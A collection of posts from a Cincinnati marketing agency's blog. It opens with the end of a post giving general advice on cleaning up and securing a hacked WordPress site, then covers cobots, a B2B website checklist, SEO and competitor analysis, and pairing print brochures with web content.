  • If they are mostly in the wordpress install itself: Delete the admin and includes folder and upload new. Upload new versions of the files in the root folder. Delete any files in the root folder that do not belong (php files that were not replaced by the new wordpress files, excluding config.php). Check config.php for malicious code.

    In the above: You've just saved yourself from searching the root, admin, and includes folder. This should leave only the wp-content folder, for which you've already taken care of the uploads. The upgrades folder should be empty, so only the themes folder remains.
  • Delete Themes. I tend to delete every theme I am not actively using. This means less themes to search for infections now, less themes in the future to keep updated, less themes to provide vulnerabilities to new/unknown exploits.

With those steps, you've saved yourself a lot of time searching through folders and files...  but, if your Wordpress site is hosted, and running, just install Wordfence and run the scan. You'll save a lot of time now, and later.

Wrapping Things Up

If there were backdoors found on your site, there is a chance that the site could have been used for more than just running commands through. You've stopped them from getting in this way, but there can still be email forms and phishing pages, other remnants of the infection you'll want to find and get rid of.

Don't expect the created or last-modified dates on these files to be accurate - these can faked.

Your best bet is always being very familiar with whatever CMS you prefer to use - familiar enough to know how to wipe most files clean, replace them with new, and spot files that are out of place.

I choose to use Wordpress in most cases because of my familiarity with it. I install, design, and manage a lot of Wordpress sites - and have been doing this since its earliest versions.

In other cases, I often recommend managed CMS solutions where such security headaches are for the providers of the service (we build a lot of Wordpress sites, but we use Hubspot for ours, and offer development and maintenance of Hubspot sites, as well as managing Inbound Marketing campaigns). There are by the month fees for these, but in many cases these can come with incredibly handy Marketing tools for the money, and save you the cost in time or money that occurs when your site is hacked.

Consider how You Might have been Hacked and Prevent It

Oftentimes, this could be as simple as having installed a plugin or a patch. Here are some tips to avoid that:

  • Download plugins only from respected sites that monitor for malware plugins.
  • Try to find plugins that have thousands of active users and are regularly updated.
  • Don't add a patch you've found on the web unless you are sure of what it does and why, or at least make sure the site you found that patch on regularly monitors for people posting malicious code as fixes.
  • Tighten up security: Add a security suite if one is available for your CMS. Make sure your .htaccess is solid against browsing of folders and that it blocks forbidden files.
  • Make sure your own code sanitizes strings/escapes special characters from input and from HTTP POST requests.
  • Make sure your CMS and plugins are kept up to date.
  • Check on your site regularly for anything out of place.
  • Search Google with Site:yoursite.com to see if there are phishing or pharma pages on your site.
  • Consider any new problem that did not occur with updates or changes to be a possible hack.
  • Connect Google Search Console/Webmaster Tools to your site as a means to monitor for infections or other problems.
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Robots, Cobots & the American Dream (Metalworking Equipment Marketing Ripe for Inbound)

Wed, Nov 25, 2015 @ 12:25 PM / by Chuck Lohre posted in Inbound Marketing, Internet Marketing, Metalworking Equipment Marketing, Website Design, Business to Business Marketing, B2B Marketing, B2B Advertising, Internet Design and Development, Web Design Company, Cincinnati Web Design Agency, Internet Development, Business to Business Advertising, Cincinnati Website Design, web development, Website Design Company

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New Equipment Digest November 2015, Posted Date: 11/5/2015

Robots, Cobots & the American Dream Editorial by Travis Hessman, Editor-in-Chief

equipment marketing image : robotsIn just three years, an improbable new technological concept emerged from nowhere and completely took over the market. In the process, it has given manufacturers across the world new capabilities, powerful new tools, and new hope for the future.

I met my first industrial robots three years ago at IMTS 2012. I had written about them for years, of course, and had read just about everything there was to read about them and their long, slow evolution.

But 2012 was my first real-life encounter; my first chance to really get in and see what they could do. 

It wasn’t exactly what I’d imagined. 

I was hoping to get up close and personal with these machines and get a good look at their mechanics, their bright paint jobs, and awesome designs. 

What I got was a lot of fences, a lot of barriers, a lot of distant glimpses of the great machines in action. I wanted a wild safari, but I ended up with a tame zoo. 

The one exception, tucked away in the back of a quiet hall, was Universal Robots’ brand new collaborative robot. 



The Danish startup’s bots were a bit of an oddity at the time. They ran without the cages and barriers of traditional robots, in fact waving their arms through pre-programmed dances right over the heads of visitors. The UR staff drew crowds and shocked gasps by letting the robots run right into them on purpose. 

No one quite knew what to think of them. There wasn’t even a name for this kind of robot yet. Along with Rethink Robotics’ Baxter, these devices were forging a new direction for robotics, one that defied everything they had been doing for the previous 51 years.  

No one thought it would last. No one thought any real manufacturer would ever need such slow, clumsy devices. And absolutely everyone was sure that OSHA would shut them down before they ever got adopted. 

They were wrong. 


Fast forward three years to the machine tool show at EMO Milano 2015. The entire robotics industry has shifted; collaborative robots are everywhere now, and not just upstarts, but from the major traditional players like Kuka and ABB.

Even more exciting, now we can get up close and personal with giants, too. At Comau’s booth, for example, there was a shiny Racer3 running at full speed in the middle of the pavilion with no barriers at all. Just spinning around shuffling mini basketballs in quick, lethal motion right there in the heart of the traffic. 

The machine was equipped with sensors designed to detect any approaching body – slowing its powerful arcs upon initial approach, and finally stopping before we got within striking distance, only to automatically restart upon retreat.

I find this to be the most encouraging development imaginable. 

In just three years, an improbable new technological concept emerged from nowhere and completely took over the market. 

For a supposedly conservative industry, one that is slammed for being overly-regulated and rigid, these innovations have erupted at an amazing pace. In the process, they have given manufacturers new capabilities, powerful new tools, and new hope to face the issues of the future. 

Wherever you stand on the machine-vs.-man employment debate, this innovation cycle holds a lot of promise. It shows that the manufacturing industry is still capable of quick change, of adopting new technologies and putting them to real work. 

It’s proof that this is still a powerful, vibrant industry. One that is here to stay.

 

(Thanks for the great editorial Travis.

I commented after your article that I had just visited Fanuc here in Cincinnati, and they demonstrated a cobot. The videos in this post are from that trip, hosted by the Cincinnati Chamber of Commerce.

My interest is that any product that requires a lot of education and hand-holding is great for "Inbound" marketing practices. "Inbound" is a new term used to describe marketing automation that uses great content with social media to draw visitors to your website. Even more great content captures the visitor's email address, and you're off to the races nurturing them into customers. It's not as easy as it sounds because it requires you have an encyclopedic knowledge of your product and the decision process a customer uses to purchase it. Typically a good sales manager has that but the real challenge is to get marketing and upper management to invest in putting it into action with communications and deliverables.

The internet, email and the almost constant use of all sorts of screens are pushing this trend. Besides great content delivered at the right time, you need to use the internet to promote your content. This is much harder than you think. You can't just publish a blog, and they will come. You need to work with media that is well respected and collaborate with them to offer your content and get it linked from them to you.

Like cobots, "Inbound" needs a lot of promotion, but it is the future of marketing.

Chuck Lohre)

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B2B Website Checklist for Industrial Marketing

Wed, Jul 22, 2015 @ 04:45 PM / by Chuck Lohre posted in Inbound Marketing, Process Equipment Marketing, Marketing Automation, Industrial Website Design, Industrial Social Media Marketing, Website Design, Business to Business Marketing, Social Media Marketing and Advertising, Web Design Company, Cincinnati Web Design Agency, Cincinnati Website Design, web development, Web Design

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Thanks to Jeremy Durant for inspiring this post as a fine tuning for your industrial marketing site.


Use this checkist to review your site and remember, don't throw out your entire site. Fix these problems while you update the look and feel slowly and consistently.

1. Is your site accurate?
Web Design and Web Development checklist image 1

2. Use your colors, fonts and white space to direct attention?
Web Design and Web Development checklist image 2

3. Help reach your goal?
Industrial Web Design and Web Development checklist image 1

4. Have testimonials on your site?
Industrial Web Design and Web Development checklist image 4

5. Educational?
Industrial Web Design and Web Development checklist image 5

6. Use any black hat SEO methods?

7. Use the same phrases in your copy that you want visitors to find you for?
Industrial Web Design and Web Development checklist image 7

8. Function on a smart phone?

9. Written for Buyer Personas?
Industrial Web Design and Web Development checklist image 9

10. Use your prospect's social media?

11. How many visitors generate a new prospect?

12. Easy to edit?

13. Easy to navigate?

14. Focused on one visitor's needs?
Industrial Web Design and Web Development checklist image 14


CONCLUSION:

In the final review, it's most important that your site come up in the search engines for the search phrases you want to be found in. If not, buy adwords, remarketing, or LinkedIn ads until you do.


 If you liked this post you may like, "Pay Per Click - Good Industrial Marketing Idea or Money Pit?"


Download our free guide to Creative Marketing Communications,

Chuck Lohre's AdVenture Presentation of examples and descriptions from Ed Lawler's book of the same title - 10 Rules On Creating Business-To-Business Ads

Industrial Marketing Creative Guide by Lohre Marketing and Advertising, Cincinnati

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10 Step: Process Equipment Web Design and Website Marketing Communications

Fri, Apr 12, 2013 @ 09:51 AM / by Chuck Lohre posted in Marketing Communications, Email Marketing and Advertising, Inbound Marketing, Industrial Advertising, SEO - search engine optimization, Internet Marketing, Industrial Website Design, Website Design, Business to Business Marketing, B2B Marketing, B2B Advertising, Web Design Company, Cincinnati Web Design Agency, Business to Business Advertising, Cincinnati Advertising Agency, Cincinnati Website Design, web development, Cincinnati Advertising Agencies, Web Design

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Applying best practices to chemical and food processing equipment website marketing communications.

  1. Review your site's SEO (Search Enegine Optimization) and Pay-Per-Click
  2. Review your email newsletter strategy
  3. Review your web design for visitor anxiety
  4. Understanding buyer personas
  5. Site architecture for encouraging longer visits
  6. Google analytics
  7. Competitive comparisons
  8. Social media
  9. Content strategy
  10. Retargeting

Review your site's SEO and Pay-Per-Click

Web design for Website Marketing Communications

We use Web Position Gold to analyze positions of keywords but there isn't any better way than to do it manually. Remember to sign out so the search engines don't send you to the pages you regularly visit. Also while you are searching, you can observe competitors, AdWord positions, related industries for adding negative keywords and whatever else pops up. Baidu is the most popular search engine in China and Yandex in Russia.

Review your email newsletter strategy

Email newsletter design for Website Marketing Communications

Email newsletters, like blogs, are the core of your growing content. This company follows a consistent pattern: Technical tips, application story and a product review. Hubspot has some great pointers to follow.

Review your site design for visitor anxiety

Web Design for Website Marketing Communications

Every page must focus on one communication point. If content isn't contributing to the communication get rid of it. Every visitor is asking himself three questions: 1. Is this what I'm looking for?, 2. How can I learn more, 3. Where can I find what I'm looking for? The page on the left was our old site home page, cluttered and confusing. The page on the right is our new Hubspot site home page, simple and engaging. You don't need to give visitors's choices until they need them.

Understanding buyer personas

 Web Design examples for Website Marketing Communications

Chemical and food processing includes all sorts of liquids and powders. These visitors are engineers, technical operators, managers, and administrators. Sure, many of the visitors may be inexperienced amateurs or students, but they all are trying to solve a processing problem. These include variables like volume, ambient conditions, processing speed, quality considerations, and many special problems. These examples illustrate a common solution, show a pictural index of product and applications.

Site architecture for encouraging longer visits

Web Design Examples for Website Marketing Communications

The only way to keep pages simple and offer a large amount of content is to have the content change according to the path a visitor travels on your site. This machine tool manufacturer is a great example. In this case the path was: home > manufacturing > products > type. Breadcrumbs (site content that shows how you got to the page) are a good way to help the visitor remember their journey.

Google analytics

 Google Analytics view for Website Marketing Communications

Similar Web is a great comparison site that illustrated many of the things you can learn on Google Analytics. Study your bounce rate (percent of visitors that leave after that page), pageviews and time on page. Don't worry if your home page has a high bounce rate, 20 percent of your visitors went there to get your phone number.

Competitive comparisons

Website comparison for Website Marketing Communications

There are numerous ways to compare your site to competitors, but remember to measure ROI. The internet is but one part of the marketing communication mix. As you can see from this comparison, Twitter isn't important, one company has a huge Facebook following but they are owned by a marketing company. They all have room for improvement.

Social media

Social Media for Website Marketing Communications

Newsgroups, list servers, industry forums and LinkedIn forums are the only important social media for processing equipment marketing. Facebook might make for a great company newsletter, but it can't begin to answer the technical questions serious marketing communications must focus on. We won't go into Pinterest, Instagram or Reddit. Google+ is growing because you can post to select groups.

Content strategy

Web Design Content Strategy for Website Marketing Communications

The foundation of the new internet success strategy is content. Massive amounts. But it must be serious, coordinated and buyer persona focused. Then it's called inbound marketing. Once you start to look at your different visitors it will become easier to edit content and add better content.

Retargeting

Retargeting examples for Website Marketing Communications

Finally, investigate new targeted marketing communications opportunities. Retargeting banner ads shows visitors ads based on the sites they have visited. In this case we were studying fire suppression systems and that's why an ad came up when we were reading "Grist." Like AdWords, you pay only when the visitor clicks. Finally, industrial advertising has some real estate again.

 


If you found this post interesting, you may also like Why Blogging is the #1 Marketing Communication for Sales Leads

Sales Lead Generation Guide by Cincinnati Marketing Agency Lohre & Associates
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Apply Business Process Analysis to Marketing Communications

Tue, Apr 02, 2013 @ 11:16 AM / by Chuck Lohre posted in Marketing Communications, Email Marketing and Advertising, SEO - search engine optimization, Blogging and Blog Content Creation, Trade Show, Internet Marketing, Website Design, Trade Show Exhibits, Web Design Company, Cincinnati Web Design Agency, Web Design

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Either work on being more productive with your marketing communications or cut costs of overhead.

When you think of website marketing communications as a business process, you can start to see what needs to be done. Either improve your efficiency or cut your costs, that's what a manufacturing company does to improve performance. In this case we are evaluating ways to improve customer communications for the fire sprinkler system industry.

Here are the steps we'll walk through:

  1. Review web site design of two competitors who rank highest on Google
  2. Write suggestions based on our Top Ten Tips for natural Search Engine Optimization (SEO)
  3. Alexa, Similar Web and Hubspot competitive tracking
  4. Segment customers into buyer personas for email
  5. Internet banner advertising/retargeting, Adwords
  6. Efficiency - Return on investment
  7. Cost cutting strategies

1. Review web site design of two competitors who rank highest on Google

Search Engine Marketing Communications

This is the search result when we were not logged in as having been on their site and located in Cincinnati.

Search Engine Marketing Communications

This is the search results we saw when we were logged in; Simplex Grinnell comes up #1. Simplex Grinnell is a national firm so local results aren't relevant. The Cincinnati office's address is hard to find on the site so they're not showing up because they are optimized for Cincinnati. We had been to the site and Google remembers everything, because we let it.

2. Write suggestions based on our Top Ten Tips for natural Search engine optimization (SEO)

Web Design and Web Site Marketing Communications Ranking 3

One suggestion for this page, Use dashes to separate the keywords in the URL and that's about it. The keyword phrase "fire sprinkler system" is used in the page title, headline, body and alternative text for a photo. These are some of the reasons it is ranked so high. This isn't the home page but Google publishes the home page before the specific page sometimes.

Web Design and Web Site Marketing Communications Ranking 4

Eckert Fire Protection Systems comes up second in Google. Not really sure why this site is ranking so high. "Fire Sprinkler Systems" isn't in the URL, title, headline, body and no alternative text for the photo. It may be a case that the site is older than the number one. There are no links to the site. The only thing is a local connection.

Web Design and Web Site Marketing Communications Ranking 5

Cintas comes up number three. "Fire Sprinkler Systems" isn't in the URL, title, or headline. It is in the body and "fire sprinkler" is an alternate caption to the photo. This is a classic "Call To Action" page, it is designed to have you fill out the form or call and consult. There are no links to the page but there are 228 links to cintas.com.

Web Design and Web Site Marketing Communications Ranking 6

On the same day we searched "fire sprinkler systems" and came up with a different Cintas page. This page has the keyword phrase in the URL and title but starts to drop some of the words in the headline and alternative photo caption text. A common mistake to watch out for.

3.  HubspotAlexa, and Similar Web competitive tracking

Web Design and Web Site Marketing Communications Ranking 7

Hubspot has the best competitive analysis tool because it compares a holistic measure of a site's online presence as measured by HubSpot's Marketing Grader on a scale of 0-100. Still it's a mystery how Eckert Fire Protection ranks so high when it has the lowest Marketing Grade. It must be the local office. According to the Internet Wayback Machine it hasn't existed before 2008 where as Cintas and Simplex Grinnell have been indexed back to 2001.

Web Analytics and Web Site Marketing Communications Ranking 9

 

Similar Web shows Cintas consistent with Alexa. Simplex Grinnell and Eckert didn't show up on Alexa but on Similar Web Simplex Grinnell is strong and Eckert is zero. The high number of Simplex Grinnell and Cintas visitors that entered the exact site address (Direct) indicates a lot of customers or reps are accessing this site to check orders or accounts.

4. Segment customers into buyer personas for email

With the basics under control, it's time to get down to business analyzing what can be done to improve communications for the Midwest territory. The industry can be broken up into these categories:

MARKETS: Commercial, Education, Government, Healthcare, and Industrial Solutions

PRODUCTS and SERVICES   

  • Fire Detection and Alarm, Fire Sprinkler, Residential Sprinkler Systems, Special Hazards Sprinkler Systems, Standard Sprinkler Systems, Testing, Inspection & Preventive Maintenance
  • Integrated Security
  • Emergency Communications, Sound and Communications, Healthcare Communications, and Time

Any list needs to be broken up into these buyer personas. An annual calendar needs to be created to time communications with annual events such as trade shows, sales meetings, promotions and incentives.

Considering that this type of market may only contain several thousand contacts, it would be best to selectively communicate in a personal email system with a dozen or two related contacts at a time.

Five Story Emails and Web Design

Here's some great tips for emails, personalize, personalize, personalize!

5. Internet banner advertising/retargeting, Adwords

ReTargeting Banner ads and Web Design

The sites we are evaluating are for Fire Sprinkler Systems. As I browsed "Grist" I noticed a banner ad for one of them popped up. This isn't a coincidence. Tyco's site put an id number on my computer (I allow it) and then "Grist" noticed it and displayed the ad.

5. Efficiency - Return on investment

  1. Figure out exactly what numbers you need to know for your business’ marketing, and do deeper dives into specific metrics as needed. It’s a better use of your time, and frankly provides more actionable advice than running hours of reports at the end of each month that you never use.
  2. If you’re resource-strapped, there’s a blogging volume sweet spot you can rest comfortably in. 92% of businesses that blog multiple times a day have acquired a customer from it. But 78% of those that blog on a daily basis have also acquired a customer from it. That differential isn’t too big. And if we bring down the volume just a tad to 2-3 times per week, still, 70% of businesses acquire a customer from their blog.
  3. Onpage SEO, while something you should certainly spend a couple minutes checking out before you publish new web content, isn’t something marketers should be obsessing over anymore. Google’s algorithm is much more sophisticated than it was even a few years ago, so keyword optimization isn’t going to cut it anymore.

6. Cost cutting strategies

  1. If you’re dumping money into completely untargeted PPC, it’s kind of like emailing your entire contacts database without doing any segmentation. Turn off your paid media spend that isn’t leveraging targeting functionality.
  2. It’s not that you positively do not need a website redesign in 2013 -- you very well may -- but before you overhaul what you’ve got, ask yourself if you can work in smaller chunks. Consider a series of A/B tests in which you incrementally improve upon parts of your website, and apply your learning on a wider scale once they’re statistically significant. And if you do learn that a bigger redesign is needed, assess whether you have the in-house resources required to pull it off without derailing all your other initiatives. If you don’t, for your sake and your marketing’s, outsource it to a vetted professional.
  3. If the social networks you’re using aren’t working -- 2013 is the year to stop using them. For example, if you gave LinkedIn the old college try, and it simply is not driving any meaningful business results for you, cut the
    chord. Just make sure you’re making your decision based on analytics, not gut feelings.

If you liked this blog post you might also like "How to Create a Marketing Communication Email."


Guide to Web Site Redesign by Cincinnati Website Design Company, Lohre & Associates
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Integrating Printed and Internet Marketing Communications

Tue, Feb 12, 2013 @ 02:21 PM / by Chuck Lohre posted in Marketing Communications, Cincinnati, Marketing, Technical Writing, Technical llustration, Literature Design, Promotional Brochure Design, Website Design, Web Design Company, Advertising Design, Cincinnati Advertising Agency, Web Design

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A brochure and a web page have three things in common:

  1. The cover - a compelling photo, a YouTube video thumbnail
  2. The content - a PowerPoint slide of six bullet points or videos
  3. The Call To Action - a Business Reply Card, a QR code, an 800 number

#1. The Cover:

Video Marketing Communications

This YouTube video is so popular because it illustrates the number one problem mother's have with their autistic child; it's difficult to take them to the mall. A service dog makes that possible and is illustrated in the thumbnail for the video.

The cover of your brochure needs to be like the thumbnail frame for a YouTube video. Pick one that is going to get it played or opened. The cover needs to be like a billboard. So you have three words and a photo. And a logo. You need to get the reader to pick up your literature.

#2. The Content:

Literature Design Cutaway translated to Web Design

This illustration is effective because it doesn't look hard to understand. With the seven callouts, you can easily focus on what is interesting to you.

For the literature we're working on the central inside illustration is a cutaway of a commercial building illustrating all the energy efficient retrofits you can choose from (similar to above).

Today when you mouse over pictures, up pops related content. You can have the same effect by using a central illustration and callouts surrounding it. Digital illustrations can go even further by having you mouse over an index and the whole illustration changes. To do the same thing in a piece of printed literature you would have to use page after page to reveal the same data.

If we were combining images into one for an index mouse over it might be one for daylight and another for nighttime; one for occupied and one for unoccupied. These concepts could be included in the one illustration by using small reference images where it's easy to relate to day or night, school's in or out. The reader will at least understand that there is more to energy efficiency than a static building.

# 3. The Call To Action:

Literature Design Business Reply Card used in Web DesignCall To Action Free Web Content Guide used in Web DesignLiterature Design Call To Action

Remember when marketing communications literature from a company had a Business Reply Card? That's the same thing as an internet web site Call To Action today. A Call To Action (CTA) is an encouragement to learn more by sending a request to the company via email. The modern form of Business Reply Card. We're working on an efficient lighting retrofit brochure that will also be used on the company's web site. We'll still use the Business Reply Card for the printed literature but for the web site it will be a "Call To Action" to have an energy assessment done on your facility. If you had a trade show booth it could be a "Wheel of Fortune" game of chance wheel!

Pinterest Social Media Marketing Communications

What is the comparison to the back of the brochure in the digital age? Maybe get right down to business and hint at the information that will be needed to complete the assessment by filling out a Survey Monkey survey. Or a Pinterest arrangement of past lighting energy efficiency assements. Those would be especially nice with a highlight indicating about the amount of energy/money saved.

Marketing Video Production for Web DesignCall To Action QR Code

How do you add video to a printed page? A QR code could do it. A recent Facebook post mentioned that marketing communications today have been shortened, condensed and cater to short attention spans. Your cover needs to be a billboard, the inside spread a PowerPoint slide and the meat of the discussion a video. That would point to having testimonials on the back that you can view by QR codes. QR Codes are like a bar code that your smart phone can read. They take you to a web page, create and email or can make a phone call.

If you're in mechanical, chemical, electrical or Green Building products and services, so are we. Contact us at 877-608-1736 or sales@lohre.com for some friendly advice, ideas, and the latest trends or just to brag. Thanks for reading our blog.


Chuck Lohre's AdVenture Presentation of examples and descriptions from Ed Lawler's book of the same title - 10 Rules On Creating Business-To-Business Ads

Industrial Marketing Creative Guide by Lohre Marketing and Advertising, Cincinnati

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